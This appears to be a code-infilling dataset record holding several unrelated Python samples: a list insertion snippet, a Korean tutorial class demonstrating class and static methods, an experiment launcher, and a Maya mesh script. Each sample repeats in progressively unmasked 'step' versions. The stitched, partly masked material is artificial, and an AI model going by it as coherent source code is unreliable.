[ 0, 1, 2, 3, 4 ]

my_list = [9, 9, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 2, 2, 1] new_num = int(input('Enter a new number - ')) i = 0 for n in my_list: if new_num <= n: i += 1 my_list.insert(i, float(new_num)) print(my_list)

normal

{ "blob_id": "be16e13c0e03952e45f98b175975795bba19cf9a", "index": 2775, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor n in my_list:\n if new_num <= n:\n i += 1\nmy_list.insert(i, float(new_num))\nprint(my_list)\n", "step-3": "my_list = [9, 9, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 2, 2, 1]\nnew_num = int(input('Enter a new number - '))\ni = 0\nfor n in my_list:\n if new_num <= n:\n i += 1\nmy_list.insert(i, float(new_num))\nprint(my_list)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

class Student(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) <|reserved_special_token_0|> def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) <|reserved_special_token_0|> <|reserved_special_token_0|> @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> class Student(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) <|reserved_special_token_0|> @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> class Student(object): <|reserved_special_token_0|> tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <|reserved_special_token_0|> <|reserved_special_token_1|> class Student(object): """ Student Class Author : Kim Date : 2020.11.07 Description : Class, Static, Instance Method """ tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <|reserved_special_token_0|> def is_scholarship(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <|reserved_special_token_0|> <|reserved_special_token_1|> #파이썬 심화 #클래스 메소드, 인스턴스 메소드, 스테이틱 메소드 # 기본 인스턴스 메소드 class Student(object): """ Student Class Author : Kim Date : 2020.11.07 Description : Class, Static, Instance Method """ #Class Variable tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa # Instance Method def full_name(self): return '{} {}'.format(self._first_name, self._last_name) # Instance Method def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self._gpa) # Instance Method def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self._tuition) # Instance Method def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self._tuition*Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self.full_name(), self._grade, self._email) #Class Method @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') #Class Method @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls.tuition_per, gpa) #Static Method @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return "Sorry. Not a scholarship recipient" #학생 인스턴스 student_1 = Student(1, "Kim", 'Sarang', 'student1@naver.com', '1', 400, 3.5) student_2 = Student(2, "Lee", 'Myungho', 'student2@daum.net', '2', 500, 4.3) # 기본 정보 print(student_1) print(student_2) print() #전체 정보 print(student_1.detail_info()) print(student_2.detail_info()) #학비 정보(인상전) print(student_1.get_fee()) print(student_2.get_fee()) #학비 인상 (클래스 매소드 미사용) # Student.tuition_per = 1.2 #학비 인상 (클래스 매소드 사용) Student.raise_fee(1.5) #학비 정보(인상후) print(student_1.get_fee_culc()) print(student_2.get_fee_culc()) # 클래스 메소드 인스턴스 생성 실습 student_3 = Student.student_const(3, 'Park', 'Minji', 'Student3@gmail.com', '3', 550, 4.5) student_4 = Student.student_const(4, 'Cho', 'Sunghan', 'Student4@gmail.com', '4', 6000, 4.1) # 전체 정보 print(student_3.detail_info()) print(student_4.detail_info()) print() #학생 학비 변경 확인 print(student_3._tuition) print(student_4._tuition) print() # 장학금 혜택 여부(스테이틱 메소드 미사용) def is_scholarship(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return "Sorry. Not a scholarship recipient" print(is_scholarship(student_1)) print(is_scholarship(student_2)) print(is_scholarship(student_3)) print(is_scholarship(student_4)) print() # 장학금 혜택 여부(스테이틱 메소드 사용) print(Student.is_scholarship_st(student_1)) print(Student.is_scholarship_st(student_2)) print(Student.is_scholarship_st(student_3)) print(Student.is_scholarship_st(student_4)) print() print(student_1.is_scholarship_st(student_1)) print(student_2.is_scholarship_st(student_2)) print(student_3.is_scholarship_st(student_3)) print(student_4.is_scholarship_st(student_4))

flexible

{ "blob_id": "f507fbe7c92134c0a7149aafe7de88debebd42f5", "index": 7760, "step-1": "class Student(object):\n <mask token>\n <mask token>\n <mask token>\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n <mask token>\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n <mask token>\n <mask token>\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n <mask token>\n\n\n<mask token>\n", "step-2": "class Student(object):\n <mask token>\n <mask token>\n <mask token>\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n <mask token>\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n <mask token>\n\n\n<mask token>\n", "step-3": "class Student(object):\n <mask token>\n tuition_per = 1.0\n\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\n self._id = id\n self._first_name = first_name\n self._last_name = last_name\n self._email = email\n self._grade = grade\n self._tuition = tuition\n self._gpa = gpa\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n\n @classmethod\n def raise_fee(cls, per):\n if per <= 1:\n print('Please Enter 1 or More')\n cls.tuition_per = per\n print('Succed! tuiton increased')\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n\n @staticmethod\n def is_scholarship_st(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n", "step-4": "class Student(object):\n \"\"\"\n Student Class\n Author : Kim\n Date : 2020.11.07\n Description : Class, Static, Instance Method\n \"\"\"\n tuition_per = 1.0\n\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\n self._id = id\n self._first_name = first_name\n self._last_name = last_name\n self._email = email\n self._grade = grade\n self._tuition = tuition\n self._gpa = gpa\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n\n @classmethod\n def raise_fee(cls, per):\n if per <= 1:\n print('Please Enter 1 or More')\n cls.tuition_per = per\n print('Succed! tuiton increased')\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n\n @staticmethod\n def is_scholarship_st(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n\n\ndef is_scholarship(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n", "step-5": "#파이썬 심화\r\n#클래스 메소드, 인스턴스 메소드, 스테이틱 메소드\r\n\r\n# 기본 인스턴스 메소드\r\n\r\nclass Student(object):\r\n \"\"\"\r\n Student Class\r\n Author : Kim\r\n Date : 2020.11.07\r\n Description : Class, Static, Instance Method\r\n \"\"\"\r\n\r\n #Class Variable\r\n tuition_per = 1.0\r\n\r\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\r\n self._id = id\r\n self._first_name = first_name\r\n self._last_name = last_name\r\n self._email = email\r\n self._grade = grade\r\n self._tuition = tuition\r\n self._gpa = gpa\r\n\r\n # Instance Method\r\n def full_name(self):\r\n return '{} {}'.format(self._first_name, self._last_name)\r\n\r\n # Instance Method\r\n def detail_info(self):\r\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self._gpa)\r\n \r\n # Instance Method\r\n def get_fee(self):\r\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self._tuition)\r\n\r\n # Instance Method\r\n def get_fee_culc(self):\r\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self._tuition*Student.tuition_per)\r\n\r\n def __str__(self):\r\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.full_name(), self._grade, self._email)\r\n\r\n #Class Method\r\n @classmethod\r\n def raise_fee(cls, per):\r\n if per <= 1:\r\n print('Please Enter 1 or More')\r\n cls.tuition_per = per\r\n print('Succed! tuiton increased')\r\n\r\n #Class Method\r\n @classmethod\r\n def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa):\r\n return cls(id, first_name, last_name, email, grade, tuition * cls.tuition_per, gpa)\r\n\r\n #Static Method\r\n @staticmethod\r\n def is_scholarship_st(inst):\r\n if inst._gpa >= 4.3:\r\n return '{} is a scholarship recipient.'.format(inst._last_name)\r\n return \"Sorry. Not a scholarship recipient\"\r\n\r\n \r\n\r\n#학생 인스턴스\r\nstudent_1 = Student(1, \"Kim\", 'Sarang', 'student1@naver.com', '1', 400, 3.5)\r\nstudent_2 = Student(2, \"Lee\", 'Myungho', 'student2@daum.net', '2', 500, 4.3)\r\n\r\n# 기본 정보\r\nprint(student_1)\r\nprint(student_2)\r\n\r\nprint()\r\n\r\n#전체 정보\r\nprint(student_1.detail_info())\r\nprint(student_2.detail_info())\r\n\r\n#학비 정보(인상전)\r\nprint(student_1.get_fee())\r\nprint(student_2.get_fee())\r\n\r\n#학비 인상 (클래스 매소드 미사용)\r\n# Student.tuition_per = 1.2\r\n\r\n#학비 인상 (클래스 매소드 사용)\r\nStudent.raise_fee(1.5)\r\n\r\n#학비 정보(인상후)\r\nprint(student_1.get_fee_culc())\r\nprint(student_2.get_fee_culc())\r\n\r\n# 클래스 메소드 인스턴스 생성 실습\r\nstudent_3 = Student.student_const(3, 'Park', 'Minji', 'Student3@gmail.com', '3', 550, 4.5)\r\nstudent_4 = Student.student_const(4, 'Cho', 'Sunghan', 'Student4@gmail.com', '4', 6000, 4.1)\r\n\r\n# 전체 정보\r\nprint(student_3.detail_info())\r\nprint(student_4.detail_info())\r\nprint()\r\n\r\n#학생 학비 변경 확인\r\nprint(student_3._tuition)\r\nprint(student_4._tuition)\r\nprint()\r\n\r\n# 장학금 혜택 여부(스테이틱 메소드 미사용)\r\ndef is_scholarship(inst):\r\n if inst._gpa >= 4.3:\r\n return '{} is a scholarship recipient.'.format(inst._last_name)\r\n return \"Sorry. Not a scholarship recipient\"\r\n\r\nprint(is_scholarship(student_1))\r\nprint(is_scholarship(student_2))\r\nprint(is_scholarship(student_3))\r\nprint(is_scholarship(student_4))\r\n\r\nprint()\r\n\r\n# 장학금 혜택 여부(스테이틱 메소드 사용)\r\nprint(Student.is_scholarship_st(student_1))\r\nprint(Student.is_scholarship_st(student_2))\r\nprint(Student.is_scholarship_st(student_3))\r\nprint(Student.is_scholarship_st(student_4))\r\n\r\nprint()\r\n\r\nprint(student_1.is_scholarship_st(student_1))\r\nprint(student_2.is_scholarship_st(student_2))\r\nprint(student_3.is_scholarship_st(student_3))\r\nprint(student_4.is_scholarship_st(student_4))", "step-ids": [ 5, 7, 11, 13, 16 ] }

[ 5, 7, 11, 13, 16 ]

import sys import os import utils def run(name, dim_k, dump='dump', add_cmd=''): res = all_res[name] model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem' cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}' print(cmd) ret = os.system(cmd) if ret != 0: input('Error!!!!!!') all_res = dict( id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5', c_last='c_last', ) def main(): run('id_att_3', 1024, dump='dump') run('id_last', 1024, dump='dump') run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5') run('c_last', 256, dump='dump') run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali') run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali') run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5') run('c_last', 256, dump='dump_all', add_cmd='-skip_vali') if __name__ == '__main__': main()

normal

{ "blob_id": "548a236c4c485091d312593dcb0fa331ff98f1a8", "index": 6359, "step-1": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\n<mask token>\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-3": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\nall_res = dict(id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5',\n c_last='c_last')\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import sys\nimport os\nimport utils\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\nall_res = dict(id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5',\n c_last='c_last')\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import sys\nimport os\nimport utils\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n\n cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n print(cmd)\n\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\nall_res = dict(\n id_att_3='id_att_3',\n id_last='id_last',\n\n c_att_5='c_att_5',\n c_last='c_last',\n)\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\n\nif __name__ == '__main__':\n main()", "step-ids": [ 1, 3, 4, 5, 6 ] }

[ 1, 3, 4, 5, 6 ]

""" get poly data(face center, face id, etc), select face, create object by face data setPosition for vertex (random) import sys module_path = '/home/shrimo/Desktop/course/git/vfx_dev/maya/general_lesson' if module_path not in sys.path: sys.path.append(module_path) import lesson_v01 reload(lesson_v01) lesson_v01.start() """ import maya.cmds as cmds import maya.api.OpenMaya as om2 import random class Face(): def __init__(self, shape, face_index, vertex, center): self.face_path = '{shape}.f[{index}]'.format( shape=shape, index=face_index) self.vertex = vertex self.face_index = face_index self.face_center = center def get_shapes(): # get selected object # print(cmds.ls()) # print(cmds.ls(selection=True)) return cmds.ls(selection=True, shapes=True, dagObjects=True) def get_faces(shapes): # cmds.select(clear=True) # print(shapes) face_data = [] for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) geo = om2.MItMeshPolygon(mDagPath, mObj) while not geo.isDone(): center = geo.center() print 'face index: {}'.format(geo.index()) vertices = [] for i in geo.getPoints(om2.MSpace.kWorld): vertices.append((i[0], i[1], i[2])) face_in = Face(shape, geo.index(), vertices, center) face_data.append(face_in) geo.next(0) return face_data def get_vertex(shapes): vertex_data = [] spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex index: {}'.format(vtx.index()), vtx_pos face_in = Face(shape, vtx.index(), vtx_pos, None) vertex_data.append(face_in) vtx.next() return vertex_data def set_pos_vertex(shapes, up_y): spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex:'+str(vtx.index()), vtx_pos.y if vtx.index() & 1: vtx_pos.y += up_y vtx.setPosition(vtx_pos, spc) vtx.next() vtx.updateSurface() def set_random_vertex(shapes, up_y): spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex:'+str(vtx.index()), vtx_pos.y vtx_pos.z += random.uniform(0, up_y) vtx.setPosition(vtx_pos, spc) vtx.next() vtx.updateSurface() def create_boxes(shapes, group_name, shape_name, on_face): if on_face: face_data = get_faces(shapes) else: face_data = get_vertex(shapes) cmds.group(em=True, name=group_name) for face in face_data: # print(face.face_index, face.face_path, face.face_center) if face.face_index & 1: cmds.select(face.face_path, add=True) p_name = shape_name + str(face.face_index) cmds.polyCube(n=p_name) # create polyCube name by p_ + face index cmds.setAttr(p_name+'.scale', 0.3, 0.3, 0.3) if on_face: cmds.setAttr( p_name+'.translate', face.face_center[0], face.face_center[1], face.face_center[2]) else: cmds.setAttr(p_name+'.translate', face.vertex.x, face.vertex.y, face.vertex.z) cmds.select(all=True) cmds.parent(p_name, group_name) # cmds.group(p_name, parent=group_name) cmds.select(all=True) def start(): # shapes = cmds.ls(selection=True, shapes=True, dagObjects=True) # set_pos_vertex(get_shapes(), 1) # set_random_vertex(get_shapes(), 1) create_boxes(get_shapes(), 'boxes', 'v_', 0)

normal

{ "blob_id": "723d8819b5341f1397163533f59c17ba1a74b77d", "index": 1310, "step-1": "\"\"\"\nget poly data(face center, face id, etc), select face, create object by face data\nsetPosition for vertex (random)\n\nimport sys\nmodule_path = '/home/shrimo/Desktop/course/git/vfx_dev/maya/general_lesson'\nif module_path not in sys.path:\n sys.path.append(module_path)\n \n\nimport lesson_v01\nreload(lesson_v01)\nlesson_v01.start()\n\"\"\"\n\n\nimport maya.cmds as cmds\nimport maya.api.OpenMaya as om2\nimport random\n\n\nclass Face():\n def __init__(self, shape, face_index, vertex, center):\n self.face_path = '{shape}.f[{index}]'.format(\n shape=shape,\n index=face_index)\n self.vertex = vertex\n self.face_index = face_index\n self.face_center = center\n\n\ndef get_shapes():\n # get selected object\n # print(cmds.ls())\n # print(cmds.ls(selection=True))\n return cmds.ls(selection=True, shapes=True, dagObjects=True)\n\n\ndef get_faces(shapes):\n # cmds.select(clear=True)\n # print(shapes)\n face_data = []\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n geo = om2.MItMeshPolygon(mDagPath, mObj)\n while not geo.isDone():\n center = geo.center()\n print 'face index: {}'.format(geo.index())\n vertices = []\n for i in geo.getPoints(om2.MSpace.kWorld):\n vertices.append((i[0], i[1], i[2]))\n face_in = Face(shape, geo.index(), vertices, center)\n face_data.append(face_in)\n geo.next(0)\n\n return face_data\n\n\ndef get_vertex(shapes):\n vertex_data = []\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex index: {}'.format(vtx.index()), vtx_pos\n face_in = Face(shape, vtx.index(), vtx_pos, None)\n vertex_data.append(face_in)\n vtx.next()\n\n return vertex_data\n\n\ndef set_pos_vertex(shapes, up_y):\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex:'+str(vtx.index()), vtx_pos.y\n if vtx.index() & 1:\n vtx_pos.y += up_y\n vtx.setPosition(vtx_pos, spc)\n vtx.next()\n\n vtx.updateSurface()\n\n\ndef set_random_vertex(shapes, up_y):\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex:'+str(vtx.index()), vtx_pos.y\n vtx_pos.z += random.uniform(0, up_y)\n vtx.setPosition(vtx_pos, spc)\n vtx.next()\n\n vtx.updateSurface()\n\n\ndef create_boxes(shapes, group_name, shape_name, on_face):\n if on_face:\n face_data = get_faces(shapes)\n else:\n face_data = get_vertex(shapes)\n cmds.group(em=True, name=group_name)\n for face in face_data:\n # print(face.face_index, face.face_path, face.face_center)\n if face.face_index & 1:\n cmds.select(face.face_path, add=True)\n p_name = shape_name + str(face.face_index)\n cmds.polyCube(n=p_name) # create polyCube name by p_ + face index\n cmds.setAttr(p_name+'.scale', 0.3, 0.3, 0.3)\n if on_face:\n cmds.setAttr(\n p_name+'.translate', face.face_center[0], face.face_center[1], face.face_center[2])\n else:\n cmds.setAttr(p_name+'.translate', face.vertex.x,\n face.vertex.y, face.vertex.z)\n cmds.select(all=True)\n cmds.parent(p_name, group_name) \n # cmds.group(p_name, parent=group_name)\n cmds.select(all=True)\n\n\ndef start():\n # shapes = cmds.ls(selection=True, shapes=True, dagObjects=True)\n # 